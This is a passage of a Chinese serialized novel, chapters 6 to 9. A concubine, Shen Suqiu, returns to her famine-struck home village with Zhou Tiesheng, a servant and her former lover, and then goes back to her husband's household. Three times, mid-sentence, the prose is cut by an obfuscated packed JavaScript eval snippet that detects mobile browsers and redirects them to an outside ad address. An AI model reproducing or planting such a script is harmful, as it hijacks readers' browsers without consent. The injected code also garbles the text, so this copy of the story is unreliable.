检查完口腔，就是身体。一个婆子负责头发，一根一根清过去，以防发髻里又塞些支票、银簪，一个婆子负责上身，皲裂的手掌像铁砂纸一样，从锁骨，到胸，要腰窝，一寸寸地摸过去，刮得女人生疼。剩下两个婆子负责□□，包括最□□的地方，都要拿戒尺探过，拿灯照过，这一套规矩走完，天刚蒙蒙亮。 毛五拿着毡帽，恭敬地候在马棚边。 沈素秋换了身藏青便装，两手空空地走过去。她的头发只用一根木簪子缚住，有几缕碎发没挽好，蒲公英絮似的垂下来，整个人显得有些单薄之感。 早已坐在马车前的周铁生给看怔住了，他像是看到了没嫁人前的沈素秋，没有金银首饰和绫罗绸缎的装饰，整个人简单得像一张留白的画。现在站在自己面前的不是六姨太，是沈素秋。六姨太是六姨太，沈素秋是沈素秋。 他爱沈素秋胜过六姨太，就像爱粮食一样。 只是对方并不这么认为。 “没别人了吗？”看到周铁生也在，沈素秋停下上车的动作。 “天不敢巧儿，大早上二房来人说，龙王节要去渭河边扎草舟，马鹏人手都调那儿去了。”毛五佝偻着背，脸上极尽谄笑。 “那府里没有别的汉子会驾马？” 沈素秋还不死心。 “这........” 毛五搓了搓胸口。 “没有。”周铁生一口回绝，抬眸看她，“太太要是嫌弃我，只能让我师父亲自送你了。只是他年纪这么大，你忍心他跟你一路奔波？” 沈素秋看着毛五那副快要散架的身子骨，天可怜见的，牲畜何苦为难牲畜。 她踩着周铁生的背，钻进马车里，恹恹地放下了帘。 “那就走吧。” 6.第六捧麦 晨雾消散时，马车驶入白桦林。 沈素秋坐在车里，听车轱辘咯吱作响，像是一场老鼠的晚宴。她想起自己嫁入邱府的那天，好像也是这样，一顶软椅花轿，和马车有着同样的颠簸。 四个年轻小伙抬着轿子，咯吱咯吱飘向邱府。自己是蜷坐在轿子中的鼠新娘，外头是四只大黑鼠。 那时抬轿子的人里，便有周铁生。 邱守成是地方上的保守派，老来纳妾一样不敢声张。迎娶沈素秋时，他忌惮正房，于是让人把新娘子从偏门悄悄抬进去。 沈素秋进邱府时是个萧索的秋天，轿子在距离西厢房数十米的距离停了下来。她拎着个碎花包袱，来到管家爷面前，直到进房，都没再回头多看某人一眼。 沈素秋向来决绝，心有时比男人还狠。这是周铁生深有体会的。说不爱就不爱了，跟蚂蚱一样，“咻”一下从爱跳到不爱，哪天发神经，又“咻”一下从不爱跳到爱。只有沈素秋自己知道，这都是跟男人学的，男人左右横跳，从无人奇怪，女人照样学样，便是冷血薄情，心比刀尖。 做男人真好，沈素秋到现在也这样想，做了男人还能随地唱歌，和随地大小便一样。 洪亮的歌声响应在马车头，那是周铁生在唱信天游—— “三月里那个太阳红又红/ 为什么我赶脚人儿呦这样苦命/ 我想起那个我家好呀心伤/ 可恨的那个老财主呦把我逼走/ 离家的那个到如今三年整/ 不知道我的那妻儿呦还在家中/ 我在的那个门外你在那家/ 不知道那个我的娃儿呦干些呦什么/ ........ 说四十里长涧羊羔山/ 说好婆姨出在我们张家畔/ 张家畔起身刘家卯站/ 说卯底里下去我把朋友看/ 说卯底里下去我把朋友看/ 不唱山曲不好了盛/ 唱上一个山曲想亲人/ 说唱上了一个山曲想亲人......” 洪亮的歌声响彻密林，铺荡在空旷的荒原上，震飞树顶几丛斑头雁。 马儿应着歌声，跑得更加欢快，一路尘土踏飒间，车厢里颠得更厉害了。 沈素秋扒开帘子，破口大骂道：“别唱了，七个音错六个符，听得我耳膜子扎心肝地疼！” 前头人哈哈一笑，笑声爽朗，挥鞭高声道：“六太太府里待久了，怕都忘了这农家调了吧？！太太还记得这是啥子歌嘛？” “这是你爹的丧命曲！” 沈素秋恨恨地放下帘子，坐回到位置上，眼泪不争气地流了下来。 她当然记得这首信天游，叫《脚夫歌》。民间曾有“信天游，不断头，断了头，穷人没法解忧愁”的说法。这歌曲，曾是沈素秋父亲的拿手曲，每年春秋农忙时，他和大哥就会在麦田里唱这首信天游。她不知周铁生是否是故意，专唱这首歌刺她。他何必如此呢？唱这首歌的人已经死了，被他周铁生害死了，他还不放过。 还不肯放过还活着的自己。 男人听到马车里窸窸窣窣的啜泣声，“吁”地一声停下马车，跳了下来。 他走到轩窗前，敲了敲，有些发慌。 “你咋哭了？” 里头一下没了动静，过了半晌，沈素秋打起帘子，露出那双微微泛红的眼。 “你明知道这是俺达[1]最常唱的一首歌........”女人咬牙切齿，“你就是个混蛋！” “我没这个意思........”周铁生重重地拍了下脑瓜，原来是为着这个，他竟没有一丝察觉。 “我只是觉得，身上热络，想高歌一曲助助兴。这荒山野岭，沿途寂寞——” 说多无用，他单膝跪地，低头道：“勾起太太伤心事了。我实在该死。” “你就是故意的！” 女人略带怒音。 “没有没有.......”男人慌忙否认，“我要是故意的，那就真不是人了。素秋......你信我。” 他不叫太太了。 见车里哭声渐弱，周铁生抬起头来，小心翼翼地往里瞅了一眼。哭是没在哭了，可沈素秋的那双眼睛肿得跟桃儿似的，郎心似铁也变山岚云烟，软得他心都要化了。 “你滚开点！” 女人吼他。 周铁生回到马头前，抚了抚有些受惊的小马，看看日头，说：“离庄还有六七里路了，咱们歇歇吧。马也要吃草进水。” 里头没有回应，周铁生当她允了，提着裤带去旁边盐碱地里撒了泡尿。 “我饿了。” 里头传来怯怯的声音。 “啥？” “我说我饿了。” 干粮放在马背上的木箱子里，用苜蓿、槐花制成的焪馍还有馕。周铁生挑了没被压碎的几块，拿黄纸垫着，跟献宝似的献到轩窗前。 车里单单伸出一只手，胡乱抓起一把，正要往回缩，被出乎意料地捏住了腕。 “你真恶心！” 沈素秋遽地往里抽，男人不从，两方相互拉扯，扯得整副马车轻轻摇晃起来。 “刚撒完尿来摸我手，不要脸你！” 外头突然没了动静，紧绷的手臂失了温软。男人叹了口气，放弃了抚摸。 沈素秋心里翻山倒海，不知所谓。 没了周铁生的触碰，她也失了往回缩的决心，那半截手臂就像半截藕，吊在窗上，将落不落。 僵持片刻，沈素秋感触到细微的扎痛。有些湿，有些热，像火星子爆在皮肤上一样。 她挑开帘，见周铁生托着自己的手，轻微俯身，一双唇啄在自己手背上，迟迟不肯游走。 这一次，沈素秋没有拒绝。 短暂修整后，马车重新上路。沈素秋坐在车里，抱着被某人亲吻过的那只手，心中早已找好了理由。 和脖子上那道红痕一样，到时候别人问起来，她就说是猫抓的。反正也没人真的在意邱府有没有猫，府里多的是霸道的牲口，眼前就有一头，不差那一两只猫。 等到了沈家庄，正好赶上晌午。如今外面到处是饥荒，家家户户缩衣减粮，每天只吃一顿。周铁生把马车栓在沈家祠堂口的一对石狮子上，沈素秋走下车来，看着堂口满地的黄沙和裂纹，不发一语地朝里走去。 越过一排茅屋和地窑，再往上爬半里路，穿过龟裂的梯田和丘陵，两人终于来到沈家人的住处。 和山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159252|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下那些茅屋一样，眼前的沈宅，只是一眼灰扑扑的窑洞，坐落在半山腰上，小小的院子里，一个穿棉褂的男人正杵着双拐，驱赶着场地里飞来衔米的麻雀。 “哥........” 沈素秋两眼一酸，鼻头一下红了。 沈临春听到呼唤，回过头来，露出喜色。他拾起双拐，夹在腋下，一点点挪出院子，顾不得那些欢脱的麻雀。 “你咋回来了？” 男人也跟着有些哽咽，拉起家妹的手：“怎么嫁过去比从前还瘦了。我记得去年春来你回门看我，脸上还有些肉，现在竟只剩下皮包骨了.......” 沈素秋泪水涟涟：“邱家顿顿有荤腥，从没饿着我。是我自己不争气，光吃不长肉，害哥担心。” “哥你也瘦了.......” 女人摸了摸他的手臂，一把就可以掐住，跟干柴似的，从前多精壮的一个人，被蹉跎得，就剩一副嶙峋的骨头架子。 “世情不好，现在外面到处都是饥荒，每天庄里都有人死。” 沈临春拉小妹去门口矮凳上坐下。 “昨天隔壁王家老寡妇刚被抬下去，活活被饿死的，据说十几天没吃饭了，好在他儿子纯孝，在寡妇临死前，割了一块大腿肉喂给她吃，她娘是笑着走的。” 沈清秋听得认真，只觉字字不见血，却又字字诛心。 “那你呢哥？你是不是也饿着肚子？” 沈临春看着院子里那些晒着的米，苦涩一笑，“不要紧。前些天我在咱家地窖里发现些陈年的霉米，挑挑晒晒还算能吃。就是余量不多了，你看，这些米连麻雀都不稀罕吃，只挑那些好的啄。” 沈素秋擦了擦泪，掏出路上没吃完的馕，塞到沈临春手中。 顺着女人身后看去，沈临春这才注意到院子外还站着一个人。他走近几步，忽而两眼一黑，指着男人痛骂道，“湿你北个烂瓜皮，你还有脸来我家！你狗日的差成色咧！” 沈临春当即冲上前去，抡起双拐，狠狠鞭在周铁生身上。 “哥——！” 沈素秋仓皇上前，拦腰抱住怒不可遏的大哥。 “放开我！让我打！打死这个烂门扇！个龟孙蛋！我要打死他！” 沈临春挣开女人的双手，一棍接一棍捶在男人背脊骨上。周铁生疼得满地乱爬，像头狼狈的山猪，身上沾满了土。 “你怎敢有胆来见我？！” 沈临春欲哭无泪，“我沈家为着你家破人亡咧，你怎么还敢再来！？” 周铁生顶着满脸灰土，声嘶道：“俺送太太回门了，不是有意来见你！” 他别过头去，不敢再看沈临春。 也不敢有丝毫还手。 沈临春恶狠狠地盯着他这张脸，抓起他的衣领，一拳打在他腮帮上。 周铁生往外翻滚了两三尺，满口鲜血里蹦跶出一颗碎牙。沈临春意犹不足，爬上来又要挥拳。 “哥.......别打了......别打他脸！” 沈素秋握住他的手，挺身乞求，“破了相不上算.......不上算啊我的哥.......” “至于其他地方，”她看向倒在地上的周铁生，稍稍侧开身子，嘀咕道：“随你便吧。” 7.第七捧麦 沈白氏从坎儿井里吊起一桶凉水，白布在里搅三搅，用手拧干，转而递给门前那个鼻青脸肿的男人。 沈素秋和沈临春坐在屋里炕上，看着门口的几只饿到站不起来的老母鸡，对坐无言。 不一会儿，隔壁炊房飘出缕缕炊烟。沈白氏在做饭，旷野间罕见有了些食物的芬芳。周铁生坐在门口石阶上，摸了摸发瘪的小肚，觉得食不果腹有时比遍体鳞伤更让人难熬。 “哥你刚刚吓着我了.......” 想起片刻前的扭打，沈素秋心有余悸。 “他到底是邱家的人，打他就是打邱家的脸，伤得太明显，我回去不好交差.......” 透过小小一扇窗，能够直白望见沈白氏忙碌的身影。她是个忠正憨实的农村女人，黑黑胖胖，从面相上看便让人觉着亲近。 当年沈素秋嫁入邱府，沈临春也前脚接后脚地成了婚。娶的是赤水塬豆老五家的三女儿。穷人家的女子，从小就要学农耕纺织、烹茶煮饭。豆老五世代磨豆腐卖豆腐为生，做出来的豆腐像汉白玉一样漂亮。他的三女儿继承了父亲精湛的手艺，可惜这两年别说大豆，连小麦都成了稀罕物，哪还有豆子给你磨，更别说吃豆腐了。 “我只恨自己没本事，打不死他这狗逑！” 沈临春还在气头上，沈素秋能理解，自她这哥哥双腿残废后，脾气也越来越坏。 好在他对自己媳妇还算优渥，沈白氏为人心细，尽自己所能将丈夫照顾得很好，沈临春对她挑不出错。 “好了好了，别干坐了，该吃饭了。” 沈白氏端着煮好的粥和两个白水蛋，顶着一身热气迈进屋子。 沈素秋垂眸瞟了眼，说是粥，其实一捞都是水。里头的米可按颗来数，沈素秋觉得不超过五十颗。 “家里没什么别的能待客，”沈白氏说着有些不大好意思，“好在几天前家里母鸡下了两只蛋。本想留给你哥。今天小姑子回门，我私拿了出来，您是吃惯山珍海味的人，别嫌弃我们庄稼饭。” “嫂子这是哪的话，”沈素秋看着那两个被剥得剔透的水煮蛋，心里一阵酸楚，“我带了不少馍，热热也能吃。” “那不行。”沈白氏摆摆手，“那是你这些天的伙食，我们吃了，你就没东西吃了。” 沈素秋还想说什么，一边的沈临春摁住了她的手。他对沈白氏说：“刚刚家妹给了我馕，我现在不饿，你拿去吃吧。” 说着又拿起一个蛋塞在她手上，“这鸡蛋，你一个，我妹一个，刚刚好。” 沈白氏乖乖捧着碗坐下，看了看门边。兄妹两对视一眼，心里明白，外头还有一个。已经过了晌午的饭点，他赶了半天的路，光塞干粮一定也没吃饱。 沈素秋抽出手，拿起属于自己的那只蛋，刚要起身，被沈临春拦住。 他在沈白氏的帮扶下，从炕边一个万历柜里拿出几块生霉的青稞饼。掰掉一小半霉菌还算能吃，他扔到桌子上，努努嘴说：“家里就剩这几块了，给那王八球子吧。” 鸡蛋当然比霉饼好。 周铁生吃着碗里的，看着锅里的，跟只大黄狗似的，眼巴巴瞧着屋里两个女人啃鸡蛋。 他不是没动歪心思，想着趁没人发现，偷偷去取了行囊来，里头还有不少干粮。可转念一想，又放弃了。 回门前每日的粮食数量都用黄纸严格分好、包好，在府里，你可尽情吃用，但出了府，带出来的一切都要过账，这叫财不外流。 而仆人外出是没有份额的，饿死就饿死了，不死在主人家就不算苛待，重买个新的就行了。因而行囊里的都是沈素秋的那一份，假之自己偷享用了，意味着沈素秋就没得吃了，难不成自己真舍得让她饿肚子不成？ 周铁生心里又馋又痒，百般权衡之后，只好把手里的青稞饼想成白鸡蛋，闭着眼睛，哄骗自己这鸡蛋咬着可真香。 临夜里沈素秋歇在隔壁屋，荒山狼嚎，夜半不休。沈素秋被狼吵得睡不着觉，她当然知道，这狼也是被饿的，嗷嗷嗷个不停，和人一样。 她披上外衣，掌灯摸进厨房。在老灶的柴火堆里，推醒了被饿得正哼哼唧唧的某人。 “赶紧吃，”她扔给他半个鸡蛋，灯光下的脸，隐隐发黄。 “白天我哥打你，你别恨他。要恨就恨我。” 沈素秋看着狼吞虎咽的周铁生，一个破鸡蛋，愣是被他吃出了慈禧宴的感觉。 男人一口就把那半个鸡蛋给干完了，他露出心满意足的笑容，摸了摸后脑勺，“我不恨你，也不恨你哥。” “那我走了。” 女人作势扭头。 “别走！” 周铁生从后一把抱住了她。 鼻息钻进她头发，姨太太的头发就是香，比鸡蛋甜美，有股糟粕酒酿的淳气。 他闻得如痴如狂。 “放开我.......” “不放........” 男人喃喃自语。 “在邱家没做成的事，出了邱家，还不许？” 沈素秋自知挣脱无用，索性放弃反抗，“你总是让我不知道该拿你怎么办。” “那就让我再多抱一会。”周铁生咬住她耳朵，“就抱一下，不做别的。” “你还想做别的？” 女人哑然失笑。 “这地方不好。”周铁生指那堆柴，“睡着硌人。我想和你睡席梦思软床。” “做你娘的玻璃梦。” 这下真把沈素秋给逗笑了。 “你有什么本事睡软床？你连饭都吃不起，跟了你，三天就得饿得翻肚皮。” “这就是你三年前没坚持跟我走的原因？”周铁生对着女人的耳朵，用力咬了一口，“坏女人，你嫌我穷。” 沈素秋被咬得半边脸一紧，又不敢声张，只能强忍住痛，抬起只手回头打了男人一巴掌。 不轻不重，没脸没皮，男人非但不气，反而把脸凑了过去，嬉皮笑脸道：“再多打几下，我脸皮厚，你打不坏我。” “你就是个无赖。”沈素秋气得发抖，“无耻，下流！” “还有别的夸我的吗？”周铁生把她的手摁在胸膛里，“我喜欢听你骂我。” 周铁生涨得难受，起手松开女人。沈素秋伏在门边，不一会儿，脸上亮汪汪地挂了两道痕。 “你怎么又哭了？” 男人顿觉无措。 “你每次哭，我都不知道该拿你怎么办。” “明明是我拿你没办法，”沈素秋说，“我先说的。” “怎么个没办法？”男人走过去，伸出大拇指替她抹去泪。 “那你说你怎么个没办法？”沈素秋用他的话来堵他。 “你太坏了。” 周铁生揉搓着她的脸蛋，越搓越起劲，像在和面。 “我有时候想掐死你，打死你，亲死你，死死抱住你，让你吸不上气，就这么去死。等你死了，我也找棵歪脖子树一头吊死，我们做对鬼夫妻。” “哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177954|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么美的事？”沈素秋想，兴许是做人太苦了，连做鬼都让她觉得有些美好。 “你不知道这三年我是怎么过来的，”周铁生将她摁在自己怀里，“我就像根蒲苇似的，四处漂泊。我做过炉瓦匠，去码头扛过包，拉过黄包车，给龟公洗脚.......只要能活着，有口吃的，我什么都做，什么都可以做。” “后来有一次，我实在撑不下去了，半个月没吃饭。我饿得发晕，跟一群猴子抢吃的，我想我不管了，老子就是猴儿。能活着别说做人，做猴子也好。可我实在太累了太晕了，我抢不过猴子，迷迷糊糊里，我感觉自己像是要死了，眼前跟戏台子似的，闪过一张张人脸。有我老爹的，有邱家太爷的，有我死去的娘.......当然最多的，还得是你。” “沈素秋，你阴魂不散。三年来，无时无刻不霸占着我的心，你才是真的无耻，下流。” “你当真是饿昏头了。” 沈清秋怒其不争地摇了摇头，“没喝酒就说醉话。这也能怪我。” “我没醉。”周铁生一屁股瘫到柴火堆上，满眼失魂落魄，“我也没昏头。谁让你这么讨我喜欢，讨我喜欢就是错，就是你的错。” “那我该怎么做，才能让你不喜欢我？”沈素秋直直地看着他，“我想改正这个错。” 见男人不发话，她兀自道：“是不是要像你一样，把对方爹给活活逼死，才能让你不喜欢我？” “别说了，”周铁生压下了头，声音比月光还冷，“你说这样的话，我就有点不喜欢你了。” ....... ....... 第二天醒已日上三竿。沈素秋有些生愧，更觉得浑身酸胀，像是被车轮碾过一样。 她想自己可能真的是被养刁了，身体已经不大习惯这从小睡到大的土炕。邱府里属于她的那张床最次也是莨纱，里三层外三层铺着阳丹士林布，虽不名贵，但坚实耐用。 而四太太温灵那儿可就花样更多了，她物欲强，什么都要用最好的，沈素秋曾在她房间里见过她的床，又是英国呢绒，又是法国蕾.丝，还有日本绢纺。房间和她这个人一样，像是八国联军都来开过会似的，到处都是世界珍迹。 沈素秋自己打了井水来洗了脸，简单用过早饭后，扛着锄头跟着周铁生一起下了田。沈家夫妇早忙碌多时，天不亮就来翻土。饿脱毛的老驴拖着犁铧，累得呼哧带喘。沈素秋和周铁生跟着驴屁股，用锄头一点点敲碎粗耕过的土块，水田久经旱情，也变成了皴裂的土坑，无数细纹像是妪妇脸上的皱纹，重复堆叠得密密麻麻，一眼望不到头。 “今年怕是又要旱了。” 沈临春看向身前一座座黄秃秃的山包，四五年前，它们都还是清一色的绿。毒辣的太阳像是要抽干人间所有水汽，也不加节制地攫取着人们身上的欲.望和眼泪。 “快来荫头下歇歇。”沈白氏拿着水囊唤他。 沈临春和沈素秋站在一块巨石上，看着周铁生还在地里卖力耕种。他跟那老驴像是融为了一体，从田一头到另一头，再从另一头回这一头，永不知疲倦。沈临春看着他说：“就让他忙，该他欠咱家的。” 沈素秋看着心堵，吵着口渴去找沈白氏要水喝。 不知过了多久，两三亩地被周铁生一人全部包圆。他累得前胸贴后背，牵着那驴，往小溪沟走去。 沈素秋觉着不对劲，正想麻烦嫂嫂替自己送些吃的过去，只听男人“扑通”一声，一头扎进沟里，驴都看傻了眼。 8.第八捧麦 “有人掉沟里了！” 四周的庄稼户看到周铁生滚进了水里，纷纷提着长锄、齿耬、倒耙涌到水沟前。沈临春听到动静，也跟着去了。 他没工夫想那么多，丢开双拐一跃扎进水里，抓着大薸和水葱的茎，借力将人拖上了岸。热心的农家汉们齐力将周铁生抬回沈家屋里，几个农妇给他灌了些水，又喂了些米汤，见他渐渐恢复了血色，才各自回到田间继续劳作。 沈素秋和沈临春守在炕边，沈白氏替他沥着衣裳上的水。其实她心里有怨，明知腿上有疾还不顾一切地跳下去救人，她自认为丈夫不是个好管闲事的人。 沈素秋看着嫂子有些不快的样子，对哥哥说：“你们去忙你们的吧，让我守着他就成。反正我手脚慢，下地也帮不上什么，就不去添乱了。” 沈临春吸着旱烟，抖了抖鞋里的藻泥，“不急，等他醒了我再走，我想看着他死。” 沈白氏又端了半碗米汤，给周铁生擦了擦汗。见他还是不见苏醒的样子，提议说要不去山下叫郎中。 “家里哪有钱给他叫郎中？”沈临春话不饶人，“他死了就死了，这年头死个人有什么的，没见识。” 沈白氏闻罢抄起簸箕去了院外，沈素秋说：“嫂子她也是好心。” “我实话实说罢了。” 沈临春回头看了眼炕上的某人，狐疑道：“这旱鸭不会真死了吧？” “亏你还记得他是旱鸭，”沈素秋笑了，“以前一个庄子上长大的好兄弟，形影不离的，难为你还记得他怕水，难怪刚刚那么失急忙慌地救他。” “我那是怕你伤心。”沈临春说，“昨晚你两在柴房浓情蜜语的，我听了几句，就知道你们心里还有彼此。” “哎呀哥哥你说这干什么.......”沈素秋立刻红了脸，“青天白日的，多臊人。” “我这也是实话实说罢了。” 他看着妹妹这般模样，心中更加笃定。 “只是当大哥的难免多嘴一句，你现在是有夫家的人，甭管那邱老太爷如何，你既跟了他，就不能太逾矩。” 沈素秋听着大哥的意思，隐约猜到他昨晚应该只是偷听，没偷看。否则要是被他看到周铁生抱着自己，又闻又摸的，只怕就不只是一句“逾矩”那样简单了。 她定了定心，说：“我心里有数。” 沈临春又回头扫了某人一眼，“咋还没醒？” “早醒了，”沈素秋懒得戳穿他，“睫毛一个劲抖，这是也学你，偷听别个讲话呢。” 沈临春拍拍屁股说：“既然醒了，那我就下田去了。你让他好生歇着，免得回邱府说你娘家人苛待家仆，让你更难做人。” “小妹谢过哥嫂了。” 女人起身福了一福。 见沈临春走远，她走过去，冲假寐的周铁生道：“吃饭了。” “饭？！”男人猛一激灵，从炕上坐了起来，茫然四顾，“哪里有饭？！饭在哪里？！什么饭？！” “没出息的东西，”沈素秋宜喜宜嗔，“饿出癔症了。” “真是癔症了。”周铁生深喘了口气，“我只记得，耕完地后，看到水沟子里飘满了吃的。有酥鸡，乳鸽，牛腱子肉，还有三鲜小炒、冬笋腊肉、荠菜蛋汤.......” 当中都是沈素秋爱吃的。 沈素秋爱什么，他就爱什么，他乐意做学人精。 “你好好给邱守成做事，以后有的是吃的。” 沈素秋把黄纸包着的馍馍拿给他。 “这是你的，”男人不肯下嘴，“我吃了，你就没的吃了。” “明一早就回去了，饿半天而已。” “那也不行，”周铁生把馍塞回给她，“我周铁生再没本事，也不会跟女人和孩子抢吃食。” “穷志气！” 沈素秋骂他。 “那你就饿死吧！饿死了我让邱老太爷把你身子拖出去喂狗。我倒要看看你肚皮里装着的是颗什么水晶玲珑心。” “那不然这样，”周铁生打开纸包，掰出一小块，“我只要这些，剩下的，你当我面吃完，咱们一起吃。” 沈素秋无奈地叹了口气，“周铁生，”她说，“你可真是让人又爱又恨。” 当天夜里沈素秋就来了身子，褥子底下一片红，有些漏了出来。 她视那些污血为大不洁，更不敢声张自己每月还有准点的月信。因为这件事后头关联着一件更难以启齿的事——自己嫁入邱府三年，迟迟无所出。更羞愤的是，邱守成压根没碰过自己，准确说，是他立不起来，就只能靠其他奇技.淫。巧，从其他方面满足。 沈素秋每每想到这，就一阵寒颤。她不敢细细回想，和周铁生的性.爱不同，那是快乐的旅程。但和邱守成.......她只有恶心和恐惧。那老毒物无所不用其极，常有新法子折磨女人，每次和邱守成同房，沈素秋都会留下一身伤痕。或抓、或咬、或凌迟、或抽打，邱守成不许她叫，每次只能咬着凳角，强忍住痛，一点声音都不能发出来，发出来就又是一顿痛打。 比之生理上的鞭挞，心理上的折磨更加痛苦。沈素秋常觉自己像块用完就扔的抹布，事毕之后，邱守成倒头大睡，她自个儿对着镜子，擦拭伤痕。几房太太身上或多或少都有这样的痕迹，邱守成会给她恢复的时间，等恢复好了，下次再来，几房循环往复，这在富人圈里，并非什么稀罕的事。 沈素秋快速收拾好那滩秽物，连着整张薄褥都卷成一团，藏在了外衣里。她捎上一盒火柴，做贼似的挟着褥子跑到后山上，在呜呼贯耳的狼叫声中，划亮火柴，点燃那一团染血的脏布。 炽烈的被褥被风刮到树顶，如同一面招魂的经幡。沈素秋仿佛看到无数女人的冤灵聚集在天空中，洒下大片苦水。她们用眼泪和鲜血滋养黑土，男人们再用黑土，踩踏出权力和财富。弥山亘野都是往生的魂魄，沈素秋尝到一口咸湿，那是雨的味道。 今年应该不会再旱了吧？连着下两场雨，龙王老爷真显了灵？也不知道毛五徒弟们的草舟扎的怎么样了，今年的渭河河畔，会放多少莲花灯。 龙王节是沈素秋难得期待的节日，那一天，邱府大赦，深居简出的太太们都能拥有自由活动的一天。想去哪儿、想吃什么，想干些啥，统统不用报备，只需赶在天黑前回府，这样的盛情，除此之外就只有过年。 第二天天还没亮，沈素秋便同周铁生一起坐上了返程的马车。她把从牙缝里挤出来的几块碎馍全都留给了哥嫂。周铁生没告诉她的是，临走之前，他也私自留了个戒指给沈临春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177955|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那是他从前帮人拉黄包车，得来的打赏。是他最后一点点私财。 当初十多天没吃饭，他都没想着用这戒指换吃的，今天为了报沈临春的恩，他把东西送给了他，也或许是有其他的愧疚。 归途且算顺利。 沈素秋惊喜地察觉，地方上已有了些节日的痕迹。龙王节并非具指那一天，它是个周期性节日，往往由清明开始，持续到立夏前后。村民以艾草蘸桃符烧成的水，沿街清洒。秦地各屯、庄、村、塬的宗族祠堂里开始供摆祭品，渭河河畔的草舟已大致成型，各家孩童跑在街上，小腰上系着辟邪的棒槌和铃铛，边跑边唱请龙谣： 龙王龙王快睁眼，黄土地里裂成片；龙王龙王快翻身，抬手浇透麦子根。 饥荒之年百姓无所希求，只能将期愿投向神灵。上过学的沈素秋当然清楚个中原委，但她也是真心渴望龙王能够真身化形，解救苍生。 回到邱府时，都还没午饭。沈素秋从马车上下来时，恰好看见二太太凤霞抱着只缅因猫，正指使着几个家丁在打扫。她忙抽开搭在周铁生手上的那只手，用不着你扶，她没好气地说，我自己能走。 周铁生牵着马匹回了棚，沈素秋绕不开地和凤霞站在门前寒暄。看着一尘不染的邱宅大门，沈素秋夸赞凤霞持家有道。她对这个二太太印象很好，世俗却不功利，圆润却不投巧。邱宅唯一的好处就是各房之间还算和睦，偶有几句拌嘴，逞一时口舌之快，也是姐姐妹妹间的小性子，并不会有什么真的大矛盾。 午饭间沈素秋食欲难得放开了些，在娘家的这两天，她也体会到了饥饿。这才两天，自己就有些遭不住了，那么外面那些人呢？她想起回程途中看到的那些打光脚的孩子，都是些有爹生没爹养的野孩子，脸蛋乌漆嘛黑，身上破破烂烂。他们背着比自己身子高两倍的草垛，进城换一点可怜的炊米。沈素秋想帮不能帮，只能提醒自己，珍惜盘中餐。 “刚才看六妹吃得那么欢儿啊，我也难得多塞了两碗扣肉。” 饭毕，众姐妹在堂屋品茶消食，沈素秋往袖子里塞了块枣糕，她想喂猫。 细心的她很快发现，今天的午饭不同往日，主要有两点： 一是鲜少露面的三房雪樵规规矩矩地出现在了饭桌上，她明明是可以在自己屋里单独开小灶的。 二是四房的温灵不见了，直到饭后享用完酽茶，也没看见她的袅娜身影。 沈素秋不敢多问，在邱府，少言少做是上策。可能是还在为上次打丫鬟的事被关着，这就对了，细算日子，她的确还没到该放出来的日子。 喝完茶她去了趟下人房，借着护送有功的名头，将那块枣糕赏赐给了毛五。 沈素秋不傻，当然知道懂得避嫌，不能堂而皇之地把东西交给周铁生。毛五是他师父，平日最爱惜他这个徒弟。赏给毛五等于赏给周铁生。 她没忘哥哥奉劝自己不能逾矩的话。 这厢男人刚吃完午饭，正在牛窝打盹儿。下人房的午饭是半根黄瓜和二两白米，周铁生想，管他娘的呢，有的吃就不错了，这可比发了霉的青稞饼好多了，当然，再好吃也没某人投喂的那半个土鸡蛋可口。 周铁生昨天一晚上都梦着那个蛋。 晨起他想，真是个像水煮蛋一样呲溜的女人。 9.第九捧麦 日子一晃而过，很快来到五五阳泰交汇之日。 晨间用饭时，大太太如芸在饭桌上让管家爷代自己宣读了老爷新寄来的信。信中提及他返秦途中的所见所闻：东三省的战火已经烧到关外，关中暴.乱疫疠滋漫，关内流民失所、纲常废弛。邱守成将这一切归结于愚民自身，假之他们每年如数上缴公粮佃资，又岂能撼怒天颜？大旱三年？ 旱情催发战乱、饥荒和瘟疫，致使人伦颠倒，礼崩乐坏。如今景象，便是他们自作自受。如果能够勤加弥补，在原本粮库亏空上再额外添上三成贡米、四成家畜，那么或许可以感动上天，将自己释出水火。 